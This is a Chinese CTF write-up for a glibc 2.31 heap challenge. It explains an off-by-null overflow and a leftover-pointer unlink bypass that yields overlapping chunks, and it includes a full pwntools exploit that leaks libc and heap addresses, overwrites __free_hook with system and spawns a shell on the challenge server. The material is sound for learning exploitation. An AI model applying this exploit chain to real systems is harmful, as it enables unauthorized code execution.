以前保留了个WP,但是没复现过也没法用,用了两个晚上慢慢理复现一下。
先看这个题
- while ( 1 )
- {
- menu();
- __isoc99_scanf("%d", &v3);
- switch ( v3 )
- {
- case 1:
- m1add(); //带read
- break;
- case 2:
- m2free();
- break;
- case 3:
- m3edit(); //溢出
- break;
- case 4:
- m4show();
- break;
- case 5:
- exit(0);
- default:
- continue;
- }
- }
可以建31个块,数量不是问题,edit的时候会有溢出,并且\n会被转化为\0
- unsigned __int64 __fastcall read_0(__int64 a1, unsigned int a2)
- {
- char buf; // [rsp+13h] [rbp-Dh] BYREF
- unsigned int i; // [rsp+14h] [rbp-Ch]
- unsigned __int64 v5; // [rsp+18h] [rbp-8h]
-
- v5 = __readfsqword(0x28u);
- for ( i = 0; a2 > i; ++i )
- {
- buf = 0;
- if ( read(0, &buf, 1uLL) < 0 )
- {
- puts("Read error.");
- exit(-2);
- }
- if ( buf == 10 )
- {
- *(_BYTE *)((int)i + a1) = 0;
- return __readfsqword(0x28u) ^ v5;
- }
- *(_BYTE *)(a1 + (int)i) = buf;
- }
- *(_BYTE *)((int)i + a1) = 0;
- return __readfsqword(0x28u) ^ v5;
- }
这个溢出,听说来看一句话。当输入n个字符后在后边加一个\0
buf[read(0,buf,n)]=0;
先看下在旧版本上的处理办法。2.27以前时候可以形成向前合并,生成重叠块。方法是建块ABCD
A块大小可以释放到unsort,B块通过溢出修改C块的size修改C的presize为A+B,C的size尾字节为0,C要能释放到unsort并且size尾应该是01(比如0x501),D用来分隔。先释放A,然后通过B修改C的size尾再释放C,形成向前合并,将未释放的B一起进入unsort,再建块时会跟B形成重叠块。
在2.31后就多了检查。这样释放就不允许了。新的方法是通过残留绕过检查。需要在3个块的指针其中C.fd->A,C.bk->D,A.bk->C,D.fd->C

具体思路:
后边由于2.31还没有去掉free_hook,在得到重叠块后可以直接往free_hook写system.
另外这题有编号是自动的,这个东西极其讨厌,如果记不好只能一点点调。为方便我一步步记录下来省得乱。也算个着吧。
- from pwn import *
-
- #p = process('./ezheap')
- p = remote('36.152.17.3', 10016)
- context(arch='amd64', log_level='debug')
-
- libc = ELF('./libc-2.31.so')
-
- def add(size, msg=b'\n'):
- p.sendlineafter(b">> ", b'1')
- p.sendlineafter(b"Length of game description:\n", str(size).encode())
- p.sendlineafter(b"Game description:\n", msg)
-
- def free(idx):
- p.sendlineafter(b">> ", b'2')
- p.sendlineafter(b"game index: ", str(idx).encode())
-
- def edit(idx, msg):
- p.sendlineafter(b">> ", b'3')
- p.sendlineafter(b"game index: ", str(idx).encode())
- p.sendlineafter(b"Game description:\n", msg)
-
- def show(idx):
- p.sendlineafter(b">> ", b'4')
- p.sendlineafter(b"game index: ", str(idx).encode())
-
- # padding A B C D
- # 1 2 3 4 5 6 7
- for i in [0x1000-0xf0+8,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
- add(i)
-
- #A-C-D largebin-chain
- for i in [1,4,6,3]: #free ACD,free B combin BC
- free(i)
-
- #fack newC oldC fd->A,bk->D
- add(0x438, b'\x00'*0x418+p64(0xb91)[:-1]) #newB 1
- add(0x418) #newC 3
- add(0x428) #D 4
- add(0x418, b'1'*0x100) #A 6
- ## 1 2 3 4 5 6 7
- ## 6 2 1 [ 3 5 4 7 ]B90
- #for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
- #0x55555555cb00: 0x0000000000000000 0x0000000000000b91
- #0x55555555cb10: 0x000055555555c1a0 0x000055555555d040
- #0x55555555cb20: 0x0000000000000000 0x0000000000000421
-
- #repair bk
- free(6)
- free(3)
- add(0x418, b'PIG007nb\n')
- add(0x418)
- ## 1 2 3 4 5 6 7
- ## 6 2 1 [ 3 5 4 7 ]B90
- ## 3 2 1 6 5 4 7
- #for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
- #0x55555555c1b0: 0x0000000000000000 0x0000000000000421
- #0x55555555c1c0: 0x626e373030474950 0x000055555555cb00
-
- #repair fd
- free(6) #newC
- free(4) #D
- add(0x9f8) #unlink_point
- #add(0x9f8) #no combine top_chunk
- add(0x428, b'\n') #overflow \x00 in fd
- ## 1 2 3 4 5 6 7
- ## 6 2 1 [ 3 5 4 7 ]B90
- ## 3 2 1 [ 6 5 4 7 ]
- ## 3 2 1 [ unsort 5 6 7 ] 4
- #for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208, 0x9f8]:
- #0x55555555d050: 0x0000000000000000 0x0000000000000431
- #0x55555555d060: 0x000055555555cb00 0x00007ffff7fc1fd0
- '''
- #0x55555555c1b0: 0x0000000000000000 0x0000000000000421
- #0x55555555c1c0: ------------------ 0x000055555555cb00->C A
- #0x55555555cb00: 0x0000000000000000 0x0000000000000b91
- #0x55555555cb10: 0x000055555555c1a0->A 0x000055555555d040->D oldC
- #0x55555555d050: 0x0000000000000000 0x0000000000000431
- #0x55555555d060: 0x000055555555cb00->C ------------------ D
- '''
-
- #unlink
- edit(7, b'1'*0x200 + p64(0xb90)) #3 0x501-0x500,presize=0x550
- free(4)
-
- add(0x438) #4 cb10 free后会与top_chunk合并,并没有unsort指针泄露
- add(0x418) #8 清除残留的unsort
- add(0x418) #9 == 5 再建的块与原块形成重叠块,再次释放时得到残留libc
- add(0x108) #10 D370
- free(9)
- #0x55555555cf40: 0x0000000000000420 0x0000000000001151
- #0x55555555cf50: 0x00007ffff7fc1be0 0x00007ffff7fc1be0
-
- show(5)
- libc.address = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
- print(f"{libc.address = :x}")
-
- add(0x78) #9
- add(0x78) #11
-
- free(11)
- free(9)
- show(5)
- heap_address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x1fd0
- print(f"{heap_address = :x}")
-
- edit(5, p64(libc.sym['__free_hook'])[:-1])
- add(0x78, b'/bin/sh') #9
- add(0x78, p64(libc.sym['system'])) #11 __free_hook
-
- free(9)
- p.interactive()